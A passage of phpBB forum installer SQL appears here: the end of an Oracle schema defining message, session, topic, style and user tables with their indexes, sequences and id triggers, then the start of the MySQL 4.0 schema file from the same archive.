NOT NULL, enable_magic_url number(1) DEFAULT '1' NOT NULL, enable_sig number(1) DEFAULT '1' NOT NULL, message_subject varchar2(765) DEFAULT '' , message_text clob DEFAULT '' , message_edit_reason varchar2(765) DEFAULT '' , message_edit_user number(8) DEFAULT '0' NOT NULL, message_attachment number(1) DEFAULT '0' NOT NULL, bbcode_bitfield varchar2(255) DEFAULT '' , bbcode_uid varchar2(8) DEFAULT '' , message_edit_time number(11) DEFAULT '0' NOT NULL, message_edit_count number(4) DEFAULT '0' NOT NULL, to_address clob DEFAULT '' , bcc_address clob DEFAULT '' , message_reported number(1) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_privmsgs PRIMARY KEY (msg_id) ) / CREATE INDEX phpbb_privmsgs_author_ip ON phpbb_privmsgs (author_ip) / CREATE INDEX phpbb_privmsgs_message_time ON phpbb_privmsgs (message_time) / CREATE INDEX phpbb_privmsgs_author_id ON phpbb_privmsgs (author_id) / CREATE INDEX phpbb_privmsgs_root_level ON phpbb_privmsgs (root_level) / CREATE SEQUENCE phpbb_privmsgs_seq / CREATE OR REPLACE TRIGGER t_phpbb_privmsgs BEFORE INSERT ON phpbb_privmsgs FOR EACH ROW WHEN ( new.msg_id IS NULL OR new.msg_id = 0 ) BEGIN SELECT phpbb_privmsgs_seq.nextval INTO :new.msg_id FROM dual; END; / /* Table: 'phpbb_privmsgs_folder' */ CREATE TABLE phpbb_privmsgs_folder ( folder_id number(8) NOT NULL, user_id number(8) DEFAULT '0' NOT NULL, folder_name varchar2(765) DEFAULT '' , pm_count number(8) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_privmsgs_folder PRIMARY KEY (folder_id) ) / CREATE INDEX phpbb_privmsgs_folder_user_id ON phpbb_privmsgs_folder (user_id) / CREATE SEQUENCE phpbb_privmsgs_folder_seq / CREATE OR REPLACE TRIGGER t_phpbb_privmsgs_folder BEFORE INSERT ON phpbb_privmsgs_folder FOR EACH ROW WHEN ( new.folder_id IS NULL OR new.folder_id = 0 ) BEGIN SELECT phpbb_privmsgs_folder_seq.nextval INTO :new.folder_id FROM dual; END; / /* Table: 'phpbb_privmsgs_rules' */ CREATE TABLE phpbb_privmsgs_rules ( rule_id number(8) NOT NULL, user_id number(8) DEFAULT '0' NOT NULL, rule_check number(8) DEFAULT '0' NOT NULL, rule_connection number(8) DEFAULT '0' NOT NULL, rule_string varchar2(765) DEFAULT '' , rule_user_id number(8) DEFAULT '0' NOT NULL, rule_group_id number(8) DEFAULT '0' NOT NULL, rule_action number(8) DEFAULT '0' NOT NULL, rule_folder_id number(11) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_privmsgs_rules PRIMARY KEY (rule_id) ) / CREATE INDEX phpbb_privmsgs_rules_user_id ON phpbb_privmsgs_rules (user_id) / CREATE SEQUENCE phpbb_privmsgs_rules_seq / CREATE OR REPLACE TRIGGER t_phpbb_privmsgs_rules BEFORE INSERT ON phpbb_privmsgs_rules FOR EACH ROW WHEN ( new.rule_id IS NULL OR new.rule_id = 0 ) BEGIN SELECT phpbb_privmsgs_rules_seq.nextval INTO :new.rule_id FROM dual; END; / /* Table: 'phpbb_privmsgs_to' */ CREATE TABLE phpbb_privmsgs_to ( msg_id number(8) DEFAULT '0' NOT NULL, user_id number(8) DEFAULT '0' NOT NULL, author_id number(8) DEFAULT '0' NOT NULL, pm_deleted number(1) DEFAULT '0' NOT NULL, pm_new number(1) DEFAULT '1' NOT NULL, pm_unread number(1) DEFAULT '1' NOT NULL, pm_replied number(1) DEFAULT '0' NOT NULL, pm_marked number(1) DEFAULT '0' NOT NULL, pm_forwarded number(1) DEFAULT '0' NOT NULL, folder_id number(11) DEFAULT '0' NOT NULL ) / CREATE INDEX phpbb_privmsgs_to_msg_id ON phpbb_privmsgs_to (msg_id) / CREATE INDEX phpbb_privmsgs_to_author_id ON phpbb_privmsgs_to (author_id) / CREATE INDEX phpbb_privmsgs_to_usr_flder_id ON phpbb_privmsgs_to (user_id, folder_id) / /* Table: 'phpbb_profile_fields' */ CREATE TABLE phpbb_profile_fields ( field_id number(8) NOT NULL, field_name varchar2(765) DEFAULT '' , field_type number(4) DEFAULT '0' NOT NULL, field_ident varchar2(20) DEFAULT '' , field_length varchar2(20) DEFAULT '' , field_minlen varchar2(255) DEFAULT '' , field_maxlen varchar2(255) DEFAULT '' , field_novalue varchar2(765) DEFAULT '' , field_default_value varchar2(765) DEFAULT '' , field_validation varchar2(60) DEFAULT '' , field_required number(1) DEFAULT '0' NOT NULL, field_show_novalue number(1) DEFAULT '0' NOT NULL, field_show_on_reg number(1) DEFAULT '0' NOT NULL, field_show_on_vt number(1) DEFAULT '0' NOT NULL, field_show_profile number(1) DEFAULT '0' NOT NULL, field_hide number(1) DEFAULT '0' NOT NULL, field_no_view number(1) DEFAULT '0' NOT NULL, field_active number(1) DEFAULT '0' NOT NULL, field_order number(8) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_profile_fields PRIMARY KEY (field_id) ) / CREATE INDEX phpbb_profile_fields_fld_type ON phpbb_profile_fields (field_type) / CREATE INDEX phpbb_profile_fields_fld_ordr ON phpbb_profile_fields (field_order) / CREATE SEQUENCE phpbb_profile_fields_seq / CREATE OR REPLACE TRIGGER t_phpbb_profile_fields BEFORE INSERT ON phpbb_profile_fields FOR EACH ROW WHEN ( new.field_id IS NULL OR new.field_id = 0 ) BEGIN SELECT phpbb_profile_fields_seq.nextval INTO :new.field_id FROM dual; END; / /* Table: 'phpbb_profile_fields_data' */ CREATE TABLE phpbb_profile_fields_data ( user_id number(8) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_profile_fields_data PRIMARY KEY (user_id) ) / /* Table: 'phpbb_profile_fields_lang' */ CREATE TABLE phpbb_profile_fields_lang ( field_id number(8) DEFAULT '0' NOT NULL, lang_id number(8) DEFAULT '0' NOT NULL, option_id number(8) DEFAULT '0' NOT NULL, field_type number(4) DEFAULT '0' NOT NULL, lang_value varchar2(765) DEFAULT '' , CONSTRAINT pk_phpbb_profile_fields_lang PRIMARY KEY (field_id, lang_id, option_id) ) / /* Table: 'phpbb_profile_lang' */ CREATE TABLE phpbb_profile_lang ( field_id number(8) DEFAULT '0' NOT NULL, lang_id number(8) DEFAULT '0' NOT NULL, lang_name varchar2(765) DEFAULT '' , lang_explain clob DEFAULT '' , lang_default_value varchar2(765) DEFAULT '' , CONSTRAINT pk_phpbb_profile_lang PRIMARY KEY (field_id, lang_id) ) / /* Table: 'phpbb_ranks' */ CREATE TABLE phpbb_ranks ( rank_id number(8) NOT NULL, rank_title varchar2(765) DEFAULT '' , rank_min number(8) DEFAULT '0' NOT NULL, rank_special number(1) DEFAULT '0' NOT NULL, rank_image varchar2(255) DEFAULT '' , CONSTRAINT pk_phpbb_ranks PRIMARY KEY (rank_id) ) / CREATE SEQUENCE phpbb_ranks_seq / CREATE OR REPLACE TRIGGER t_phpbb_ranks BEFORE INSERT ON phpbb_ranks FOR EACH ROW WHEN ( new.rank_id IS NULL OR new.rank_id = 0 ) BEGIN SELECT phpbb_ranks_seq.nextval INTO :new.rank_id FROM dual; END; / /* Table: 'phpbb_reports' */ CREATE TABLE phpbb_reports ( report_id number(8) NOT NULL, reason_id number(4) DEFAULT '0' NOT NULL, post_id number(8) DEFAULT '0' NOT NULL, pm_id number(8) DEFAULT '0' NOT NULL, user_id number(8) DEFAULT '0' NOT NULL, user_notify number(1) DEFAULT '0' NOT NULL, report_closed number(1) DEFAULT '0' NOT NULL, report_time number(11) DEFAULT '0' NOT NULL, report_text clob DEFAULT '' , CONSTRAINT pk_phpbb_reports PRIMARY KEY (report_id) ) / CREATE INDEX phpbb_reports_post_id ON phpbb_reports (post_id) / CREATE INDEX phpbb_reports_pm_id ON phpbb_reports (pm_id) / CREATE SEQUENCE phpbb_reports_seq / CREATE OR REPLACE TRIGGER t_phpbb_reports BEFORE INSERT ON phpbb_reports FOR EACH ROW WHEN ( new.report_id IS NULL OR new.report_id = 0 ) BEGIN SELECT phpbb_reports_seq.nextval INTO :new.report_id FROM dual; END; / /* Table: 'phpbb_reports_reasons' */ CREATE TABLE phpbb_reports_reasons ( reason_id number(4) NOT NULL, reason_title varchar2(765) DEFAULT '' , reason_description clob DEFAULT '' , reason_order number(4) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_reports_reasons PRIMARY KEY (reason_id) ) / CREATE SEQUENCE phpbb_reports_reasons_seq / CREATE OR REPLACE TRIGGER t_phpbb_reports_reasons BEFORE INSERT ON phpbb_reports_reasons FOR EACH ROW WHEN ( new.reason_id IS NULL OR new.reason_id = 0 ) BEGIN SELECT phpbb_reports_reasons_seq.nextval INTO :new.reason_id FROM dual; END; / /* Table: 'phpbb_search_results' */ CREATE TABLE phpbb_search_results ( search_key varchar2(32) DEFAULT '' , search_time number(11) DEFAULT '0' NOT NULL, search_keywords clob DEFAULT '' , search_authors clob DEFAULT '' , CONSTRAINT pk_phpbb_search_results PRIMARY KEY (search_key) ) / /* Table: 'phpbb_search_wordlist' */ CREATE TABLE phpbb_search_wordlist ( word_id number(8) NOT NULL, word_text varchar2(765) DEFAULT '' , word_common number(1) DEFAULT '0' NOT NULL, word_count number(8) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_search_wordlist PRIMARY KEY (word_id), CONSTRAINT u_phpbb_wrd_txt UNIQUE (word_text) ) / CREATE INDEX phpbb_search_wordlist_wrd_cnt ON phpbb_search_wordlist (word_count) / CREATE SEQUENCE phpbb_search_wordlist_seq / CREATE OR REPLACE TRIGGER t_phpbb_search_wordlist BEFORE INSERT ON phpbb_search_wordlist FOR EACH ROW WHEN ( new.word_id IS NULL OR new.word_id = 0 ) BEGIN SELECT phpbb_search_wordlist_seq.nextval INTO :new.word_id FROM dual; END; / /* Table: 'phpbb_search_wordmatch' */ CREATE TABLE phpbb_search_wordmatch ( post_id number(8) DEFAULT '0' NOT NULL, word_id number(8) DEFAULT '0' NOT NULL, title_match number(1) DEFAULT '0' NOT NULL, CONSTRAINT u_phpbb_unq_mtch UNIQUE (word_id, post_id, title_match) ) / CREATE INDEX phpbb_search_wordmatch_word_id ON phpbb_search_wordmatch (word_id) / CREATE INDEX phpbb_search_wordmatch_post_id ON phpbb_search_wordmatch (post_id) / /* Table: 'phpbb_sessions' */ CREATE TABLE phpbb_sessions ( session_id char(32) DEFAULT '' , session_user_id number(8) DEFAULT '0' NOT NULL, session_forum_id number(8) DEFAULT '0' NOT NULL, session_last_visit number(11) DEFAULT '0' NOT NULL, session_start number(11) DEFAULT '0' NOT NULL, session_time number(11) DEFAULT '0' NOT NULL, session_ip varchar2(40) DEFAULT '' , session_browser varchar2(150) DEFAULT '' , session_forwarded_for varchar2(255) DEFAULT '' , session_page varchar2(765) DEFAULT '' , session_viewonline number(1) DEFAULT '1' NOT NULL, session_autologin number(1) DEFAULT '0' NOT NULL, session_admin number(1) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_sessions PRIMARY KEY (session_id) ) / CREATE INDEX phpbb_sessions_session_time ON phpbb_sessions (session_time) / CREATE INDEX phpbb_sessions_session_user_id ON phpbb_sessions (session_user_id) / CREATE INDEX phpbb_sessions_session_fid ON phpbb_sessions (session_forum_id) / /* Table: 'phpbb_sessions_keys' */ CREATE TABLE phpbb_sessions_keys ( key_id char(32) DEFAULT '' , user_id number(8) DEFAULT '0' NOT NULL, last_ip varchar2(40) DEFAULT '' , last_login number(11) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_sessions_keys PRIMARY KEY (key_id, user_id) ) / CREATE INDEX phpbb_sessions_keys_last_login ON phpbb_sessions_keys (last_login) / /* Table: 'phpbb_sitelist' */ CREATE TABLE phpbb_sitelist ( site_id number(8) NOT NULL, site_ip varchar2(40) DEFAULT '' , site_hostname varchar2(255) DEFAULT '' , ip_exclude number(1) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_sitelist PRIMARY KEY (site_id) ) / CREATE SEQUENCE phpbb_sitelist_seq / CREATE OR REPLACE TRIGGER t_phpbb_sitelist BEFORE INSERT ON phpbb_sitelist FOR EACH ROW WHEN ( new.site_id IS NULL OR new.site_id = 0 ) BEGIN SELECT phpbb_sitelist_seq.nextval INTO :new.site_id FROM dual; END; / /* Table: 'phpbb_smilies' */ CREATE TABLE phpbb_smilies ( smiley_id number(8) NOT NULL, code varchar2(150) DEFAULT '' , emotion varchar2(150) DEFAULT '' , smiley_url varchar2(50) DEFAULT '' , smiley_width number(4) DEFAULT '0' NOT NULL, smiley_height number(4) DEFAULT '0' NOT NULL, smiley_order number(8) DEFAULT '0' NOT NULL, display_on_posting number(1) DEFAULT '1' NOT NULL, CONSTRAINT pk_phpbb_smilies PRIMARY KEY (smiley_id) ) / CREATE INDEX phpbb_smilies_display_on_post ON phpbb_smilies (display_on_posting) / CREATE SEQUENCE phpbb_smilies_seq / CREATE OR REPLACE TRIGGER t_phpbb_smilies BEFORE INSERT ON phpbb_smilies FOR EACH ROW WHEN ( new.smiley_id IS NULL OR new.smiley_id = 0 ) BEGIN SELECT phpbb_smilies_seq.nextval INTO :new.smiley_id FROM dual; END; / /* Table: 'phpbb_styles' */ CREATE TABLE phpbb_styles ( style_id number(8) NOT NULL, style_name varchar2(765) DEFAULT '' , style_copyright varchar2(765) DEFAULT '' , style_active number(1) DEFAULT '1' NOT NULL, template_id number(8) DEFAULT '0' NOT NULL, theme_id number(8) DEFAULT '0' NOT NULL, imageset_id number(8) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_styles PRIMARY KEY (style_id), CONSTRAINT u_phpbb_style_name UNIQUE (style_name) ) / CREATE INDEX phpbb_styles_template_id ON phpbb_styles (template_id) / CREATE INDEX phpbb_styles_theme_id ON phpbb_styles (theme_id) / CREATE INDEX phpbb_styles_imageset_id ON phpbb_styles (imageset_id) / CREATE SEQUENCE phpbb_styles_seq / CREATE OR REPLACE TRIGGER t_phpbb_styles BEFORE INSERT ON phpbb_styles FOR EACH ROW WHEN ( new.style_id IS NULL OR new.style_id = 0 ) BEGIN SELECT phpbb_styles_seq.nextval INTO :new.style_id FROM dual; END; / /* Table: 'phpbb_styles_template' */ CREATE TABLE phpbb_styles_template ( template_id number(8) NOT NULL, template_name varchar2(765) DEFAULT '' , template_copyright varchar2(765) DEFAULT '' , template_path varchar2(100) DEFAULT '' , bbcode_bitfield varchar2(255) DEFAULT 'kNg=' NOT NULL, template_storedb number(1) DEFAULT '0' NOT NULL, template_inherits_id number(4) DEFAULT '0' NOT NULL, template_inherit_path varchar2(255) DEFAULT '' , CONSTRAINT pk_phpbb_styles_template PRIMARY KEY (template_id), CONSTRAINT u_phpbb_tmplte_nm UNIQUE (template_name) ) / CREATE SEQUENCE phpbb_styles_template_seq / CREATE OR REPLACE TRIGGER t_phpbb_styles_template BEFORE INSERT ON phpbb_styles_template FOR EACH ROW WHEN ( new.template_id IS NULL OR new.template_id = 0 ) BEGIN SELECT phpbb_styles_template_seq.nextval INTO :new.template_id FROM dual; END; / /* Table: 'phpbb_styles_template_data' */ CREATE TABLE phpbb_styles_template_data ( template_id number(8) DEFAULT '0' NOT NULL, template_filename varchar2(100) DEFAULT '' , template_included clob DEFAULT '' , template_mtime number(11) DEFAULT '0' NOT NULL, template_data clob DEFAULT '' ) / CREATE INDEX phpbb_styles_template_data_tid ON phpbb_styles_template_data (template_id) / CREATE INDEX phpbb_styles_template_data_tfn ON phpbb_styles_template_data (template_filename) / /* Table: 'phpbb_styles_theme' */ CREATE TABLE phpbb_styles_theme ( theme_id number(8) NOT NULL, theme_name varchar2(765) DEFAULT '' , theme_copyright varchar2(765) DEFAULT '' , theme_path varchar2(100) DEFAULT '' , theme_storedb number(1) DEFAULT '0' NOT NULL, theme_mtime number(11) DEFAULT '0' NOT NULL, theme_data clob DEFAULT '' , CONSTRAINT pk_phpbb_styles_theme PRIMARY KEY (theme_id), CONSTRAINT u_phpbb_theme_name UNIQUE (theme_name) ) / CREATE SEQUENCE phpbb_styles_theme_seq / CREATE OR REPLACE TRIGGER t_phpbb_styles_theme BEFORE INSERT ON phpbb_styles_theme FOR EACH ROW WHEN ( new.theme_id IS NULL OR new.theme_id = 0 ) BEGIN SELECT phpbb_styles_theme_seq.nextval INTO :new.theme_id FROM dual; END; / /* Table: 'phpbb_styles_imageset' */ CREATE TABLE phpbb_styles_imageset ( imageset_id number(8) NOT NULL, imageset_name varchar2(765) DEFAULT '' , imageset_copyright varchar2(765) DEFAULT '' , imageset_path varchar2(100) DEFAULT '' , CONSTRAINT pk_phpbb_styles_imageset PRIMARY KEY (imageset_id), CONSTRAINT u_phpbb_imgset_nm UNIQUE (imageset_name) ) / CREATE SEQUENCE phpbb_styles_imageset_seq / CREATE OR REPLACE TRIGGER t_phpbb_styles_imageset BEFORE INSERT ON phpbb_styles_imageset FOR EACH ROW WHEN ( new.imageset_id IS NULL OR new.imageset_id = 0 ) BEGIN SELECT phpbb_styles_imageset_seq.nextval INTO :new.imageset_id FROM dual; END; / /* Table: 'phpbb_styles_imageset_data' */ CREATE TABLE phpbb_styles_imageset_data ( image_id number(8) NOT NULL, image_name varchar2(200) DEFAULT '' , image_filename varchar2(200) DEFAULT '' , image_lang varchar2(30) DEFAULT '' , image_height number(4) DEFAULT '0' NOT NULL, image_width number(4) DEFAULT '0' NOT NULL, imageset_id number(8) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_styles_imageset_data PRIMARY KEY (image_id) ) / CREATE INDEX phpbb_styles_imageset_data_i_d ON phpbb_styles_imageset_data (imageset_id) / CREATE SEQUENCE phpbb_styles_imageset_data_seq / CREATE OR REPLACE TRIGGER t_phpbb_styles_imageset_data BEFORE INSERT ON phpbb_styles_imageset_data FOR EACH ROW WHEN ( new.image_id IS NULL OR new.image_id = 0 ) BEGIN SELECT phpbb_styles_imageset_data_seq.nextval INTO :new.image_id FROM dual; END; / /* Table: 'phpbb_topics' */ CREATE TABLE phpbb_topics ( topic_id number(8) NOT NULL, forum_id number(8) DEFAULT '0' NOT NULL, icon_id number(8) DEFAULT '0' NOT NULL, topic_attachment number(1) DEFAULT '0' NOT NULL, topic_approved number(1) DEFAULT '1' NOT NULL, topic_reported number(1) DEFAULT '0' NOT NULL, topic_title varchar2(765) DEFAULT '' , topic_poster number(8) DEFAULT '0' NOT NULL, topic_time number(11) DEFAULT '0' NOT NULL, topic_time_limit number(11) DEFAULT '0' NOT NULL, topic_views number(8) DEFAULT '0' NOT NULL, topic_replies number(8) DEFAULT '0' NOT NULL, topic_replies_real number(8) DEFAULT '0' NOT NULL, topic_status number(3) DEFAULT '0' NOT NULL, topic_type number(3) DEFAULT '0' NOT NULL, topic_first_post_id number(8) DEFAULT '0' NOT NULL, topic_first_poster_name varchar2(765) DEFAULT '' , topic_first_poster_colour varchar2(6) DEFAULT '' , topic_last_post_id number(8) DEFAULT '0' NOT NULL, topic_last_poster_id number(8) DEFAULT '0' NOT NULL, topic_last_poster_name varchar2(765) DEFAULT '' , topic_last_poster_colour varchar2(6) DEFAULT '' , topic_last_post_subject varchar2(765) DEFAULT '' , topic_last_post_time number(11) DEFAULT '0' NOT NULL, topic_last_view_time number(11) DEFAULT '0' NOT NULL, topic_moved_id number(8) DEFAULT '0' NOT NULL, topic_bumped number(1) DEFAULT '0' NOT NULL, topic_bumper number(8) DEFAULT '0' NOT NULL, poll_title varchar2(765) DEFAULT '' , poll_start number(11) DEFAULT '0' NOT NULL, poll_length number(11) DEFAULT '0' NOT NULL, poll_max_options number(4) DEFAULT '1' NOT NULL, poll_last_vote number(11) DEFAULT '0' NOT NULL, poll_vote_change number(1) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_topics PRIMARY KEY (topic_id) ) / CREATE INDEX phpbb_topics_forum_id ON phpbb_topics (forum_id) / CREATE INDEX phpbb_topics_forum_id_type ON phpbb_topics (forum_id, topic_type) / CREATE INDEX phpbb_topics_last_post_time ON phpbb_topics (topic_last_post_time) / CREATE INDEX phpbb_topics_topic_approved ON phpbb_topics (topic_approved) / CREATE INDEX phpbb_topics_forum_appr_last ON phpbb_topics (forum_id, topic_approved, topic_last_post_id) / CREATE INDEX phpbb_topics_fid_time_moved ON phpbb_topics (forum_id, topic_last_post_time, topic_moved_id) / CREATE SEQUENCE phpbb_topics_seq / CREATE OR REPLACE TRIGGER t_phpbb_topics BEFORE INSERT ON phpbb_topics FOR EACH ROW WHEN ( new.topic_id IS NULL OR new.topic_id = 0 ) BEGIN SELECT phpbb_topics_seq.nextval INTO :new.topic_id FROM dual; END; / /* Table: 'phpbb_topics_track' */ CREATE TABLE phpbb_topics_track ( user_id number(8) DEFAULT '0' NOT NULL, topic_id number(8) DEFAULT '0' NOT NULL, forum_id number(8) DEFAULT '0' NOT NULL, mark_time number(11) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_topics_track PRIMARY KEY (user_id, topic_id) ) / CREATE INDEX phpbb_topics_track_topic_id ON phpbb_topics_track (topic_id) / CREATE INDEX phpbb_topics_track_forum_id ON phpbb_topics_track (forum_id) / /* Table: 'phpbb_topics_posted' */ CREATE TABLE phpbb_topics_posted ( user_id number(8) DEFAULT '0' NOT NULL, topic_id number(8) DEFAULT '0' NOT NULL, topic_posted number(1) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_topics_posted PRIMARY KEY (user_id, topic_id) ) / /* Table: 'phpbb_topics_watch' */ CREATE TABLE phpbb_topics_watch ( topic_id number(8) DEFAULT '0' NOT NULL, user_id number(8) DEFAULT '0' NOT NULL, notify_status number(1) DEFAULT '0' NOT NULL ) / CREATE INDEX phpbb_topics_watch_topic_id ON phpbb_topics_watch (topic_id) / CREATE INDEX phpbb_topics_watch_user_id ON phpbb_topics_watch (user_id) / CREATE INDEX phpbb_topics_watch_notify_stat ON phpbb_topics_watch (notify_status) / /* Table: 'phpbb_user_group' */ CREATE TABLE phpbb_user_group ( group_id number(8) DEFAULT '0' NOT NULL, user_id number(8) DEFAULT '0' NOT NULL, group_leader number(1) DEFAULT '0' NOT NULL, user_pending number(1) DEFAULT '1' NOT NULL ) / CREATE INDEX phpbb_user_group_group_id ON phpbb_user_group (group_id) / CREATE INDEX phpbb_user_group_user_id ON phpbb_user_group (user_id) / CREATE INDEX phpbb_user_group_group_leader ON phpbb_user_group (group_leader) / /* Table: 'phpbb_users' */ CREATE TABLE phpbb_users ( user_id number(8) NOT NULL, user_type number(2) DEFAULT '0' NOT NULL, group_id number(8) DEFAULT '3' NOT NULL, user_permissions clob DEFAULT '' , user_perm_from number(8) DEFAULT '0' NOT NULL, user_ip varchar2(40) DEFAULT '' , user_regdate number(11) DEFAULT '0' NOT NULL, username varchar2(255) DEFAULT '' , username_clean varchar2(255) DEFAULT '' , user_password varchar2(120) DEFAULT '' , user_passchg number(11) DEFAULT '0' NOT NULL, user_pass_convert number(1) DEFAULT '0' NOT NULL, user_email varchar2(300) DEFAULT '' , user_email_hash number(20) DEFAULT '0' NOT NULL, user_birthday varchar2(10) DEFAULT '' , user_lastvisit number(11) DEFAULT '0' NOT NULL, user_lastmark number(11) DEFAULT '0' NOT NULL, user_lastpost_time number(11) DEFAULT '0' NOT NULL, user_lastpage varchar2(600) DEFAULT '' , user_last_confirm_key varchar2(10) DEFAULT '' , user_last_search number(11) DEFAULT '0' NOT NULL, user_warnings number(4) DEFAULT '0' NOT NULL, user_last_warning number(11) DEFAULT '0' NOT NULL, user_login_attempts number(4) DEFAULT '0' NOT NULL, user_inactive_reason number(2) DEFAULT '0' NOT NULL, user_inactive_time number(11) DEFAULT '0' NOT NULL, user_posts number(8) DEFAULT '0' NOT NULL, user_lang varchar2(30) DEFAULT '' , user_timezone number(5, 2) DEFAULT '0' NOT NULL, user_dst number(1) DEFAULT '0' NOT NULL, user_dateformat varchar2(90) DEFAULT 'd M Y H:i' NOT NULL, user_style number(8) DEFAULT '0' NOT NULL, user_rank number(8) DEFAULT '0' NOT NULL, user_colour varchar2(6) DEFAULT '' , user_new_privmsg number(4) DEFAULT '0' NOT NULL, user_unread_privmsg number(4) DEFAULT '0' NOT NULL, user_last_privmsg number(11) DEFAULT '0' NOT NULL, user_message_rules number(1) DEFAULT '0' NOT NULL, user_full_folder number(11) DEFAULT '-3' NOT NULL, user_emailtime number(11) DEFAULT '0' NOT NULL, user_topic_show_days number(4) DEFAULT '0' NOT NULL, user_topic_sortby_type varchar2(1) DEFAULT 't' NOT NULL, user_topic_sortby_dir varchar2(1) DEFAULT 'd' NOT NULL, user_post_show_days number(4) DEFAULT '0' NOT NULL, user_post_sortby_type varchar2(1) DEFAULT 't' NOT NULL, user_post_sortby_dir varchar2(1) DEFAULT 'a' NOT NULL, user_notify number(1) DEFAULT '0' NOT NULL, user_notify_pm number(1) DEFAULT '1' NOT NULL, user_notify_type number(4) DEFAULT '0' NOT NULL, user_allow_pm number(1) DEFAULT '1' NOT NULL, user_allow_viewonline number(1) DEFAULT '1' NOT NULL, user_allow_viewemail number(1) DEFAULT '1' NOT NULL, user_allow_massemail number(1) DEFAULT '1' NOT NULL, user_options number(11) DEFAULT '230271' NOT NULL, user_avatar varchar2(255) DEFAULT '' , user_avatar_type number(2) DEFAULT '0' NOT NULL, user_avatar_width number(4) DEFAULT '0' NOT NULL, user_avatar_height number(4) DEFAULT '0' NOT NULL, user_sig clob DEFAULT '' , user_sig_bbcode_uid varchar2(8) DEFAULT '' , user_sig_bbcode_bitfield varchar2(255) DEFAULT '' , user_from varchar2(300) DEFAULT '' , user_icq varchar2(15) DEFAULT '' , user_aim varchar2(765) DEFAULT '' , user_yim varchar2(765) DEFAULT '' , user_msnm varchar2(765) DEFAULT '' , user_jabber varchar2(765) DEFAULT '' , user_website varchar2(600) DEFAULT '' , user_occ clob DEFAULT '' , user_interests clob DEFAULT '' , user_actkey varchar2(32) DEFAULT '' , user_newpasswd varchar2(120) DEFAULT '' , user_form_salt varchar2(96) DEFAULT '' , user_new number(1) DEFAULT '1' NOT NULL, user_reminded number(4) DEFAULT '0' NOT NULL, user_reminded_time number(11) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_users PRIMARY KEY (user_id), CONSTRAINT u_phpbb_username_clean UNIQUE (username_clean) ) / CREATE INDEX phpbb_users_user_birthday ON phpbb_users (user_birthday) / CREATE INDEX phpbb_users_user_email_hash ON phpbb_users (user_email_hash) / CREATE INDEX phpbb_users_user_type ON phpbb_users (user_type) / CREATE SEQUENCE phpbb_users_seq / CREATE OR REPLACE TRIGGER t_phpbb_users BEFORE INSERT ON phpbb_users FOR EACH ROW WHEN ( new.user_id IS NULL OR new.user_id = 0 ) BEGIN SELECT phpbb_users_seq.nextval INTO :new.user_id FROM dual; END; / /* Table: 'phpbb_warnings' */ CREATE TABLE phpbb_warnings ( warning_id number(8) NOT NULL, user_id number(8) DEFAULT '0' NOT NULL, post_id number(8) DEFAULT '0' NOT NULL, log_id number(8) DEFAULT '0' NOT NULL, warning_time number(11) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_warnings PRIMARY KEY (warning_id) ) / CREATE SEQUENCE phpbb_warnings_seq / CREATE OR REPLACE TRIGGER t_phpbb_warnings BEFORE INSERT ON phpbb_warnings FOR EACH ROW WHEN ( new.warning_id IS NULL OR new.warning_id = 0 ) BEGIN SELECT phpbb_warnings_seq.nextval INTO :new.warning_id FROM dual; END; / /* Table: 'phpbb_words' */ CREATE TABLE phpbb_words ( word_id number(8) NOT NULL, word varchar2(765) DEFAULT '' , replacement varchar2(765) DEFAULT '' , CONSTRAINT pk_phpbb_words PRIMARY KEY (word_id) ) / CREATE SEQUENCE phpbb_words_seq / CREATE OR REPLACE TRIGGER t_phpbb_words BEFORE INSERT ON phpbb_words FOR EACH ROW WHEN ( new.word_id IS NULL OR new.word_id = 0 ) BEGIN SELECT phpbb_words_seq.nextval INTO :new.word_id FROM dual; END; / /* Table: 'phpbb_zebra' */ CREATE TABLE phpbb_zebra ( user_id number(8) DEFAULT '0' NOT NULL, zebra_id number(8) DEFAULT '0' NOT NULL, friend number(1) DEFAULT '0' NOT NULL, foe number(1) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_zebra PRIMARY KEY (user_id, zebra_id) ) / PK‰† [9iHV¼¼schemas/mysql_40_schema.sqlnuW+A„¶# DO NOT EDIT THIS FILE, IT IS GENERATED # # To change the contents of this file, edit # phpBB/develop/create_schema_files.php and # run it. # Table: 'phpbb_attachments' CREATE TABLE phpbb_attachments ( attach_id mediumint(8) UNSIGNED NOT NULL auto_increment, post_msg_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, in_message tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, poster_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, is_orphan tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, physical_filename varbinary(255) DEFAULT '' NOT NULL, real_filename varbinary(255) DEFAULT '' NOT NULL, download_count mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, attach_comment blob NOT NULL, extension varbinary(100) DEFAULT '' NOT NULL, mimetype varbinary(100) DEFAULT '' NOT NULL, filesize int(20) UNSIGNED DEFAULT '0' NOT NULL, filetime int(11) UNSIGNED DEFAULT '0' NOT NULL, thumbnail tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (attach_id), KEY filetime (filetime), KEY post_msg_id (post_msg_id), KEY topic_id (topic_id), KEY poster_id (poster_id), KEY is_orphan (is_orphan) ); # Table: 'phpbb_acl_groups' CREATE TABLE phpbb_acl_groups ( group_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, auth_option_id 